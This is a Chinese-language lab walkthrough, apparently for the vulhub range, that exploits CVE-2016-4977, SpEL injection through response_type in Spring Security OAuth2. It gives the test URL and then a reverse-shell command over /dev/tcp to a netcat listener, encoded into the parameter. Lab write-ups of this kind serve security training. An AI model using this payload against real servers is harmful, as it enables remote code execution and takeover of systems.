Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)
漏洞原理:
Spring Security OAuth2处理认证请求的时候如果使用了whitelabel视图,response_type参数值会被当做Spring SpEL来执行,恶意攻击者通过构造response_type值可以触发远程代码执行漏洞
攻击机:window10 IP:192.168.32.1
靶机:ubantu16.04 IP:192.168.32.142
(1)在vulhub靶场中找到spring CVE-2016-4977环境
开启 CVE-2016-4977环境
执行命令:docker-compose up -d
(2)使用攻击机访问靶机看是否访问正常,端口号为8080 ,URL:http://192.168.32.142:8080/
(3)使用漏洞测试字符串测试漏洞:
192.168.32.142:8080/oauth/authorize?response_type=${233*2}&client_id=acme&scope=openid&redirect_uri=http://test
访问后会弹窗,访问用户名和密码 admin:admin,返回结果可以看到值被成功计算为233*2=466
(4)利用漏洞反弹shell
攻击机使用nc.exe监听器
执行命令:nc –lvp 777
(5)反弹shell命令:bash -i >& /dev/tcp/192.168.32.1/777 0>&1
使用在线编码工具进行bash指令编码
URL地址:http://www.jackson-t.ca/runtime-exec-payloads.html
利用poc.py 进行ascii编码,这里python要用3以上的版本
(6)将编码后的字符串复制到response_type值中
成功反弹shell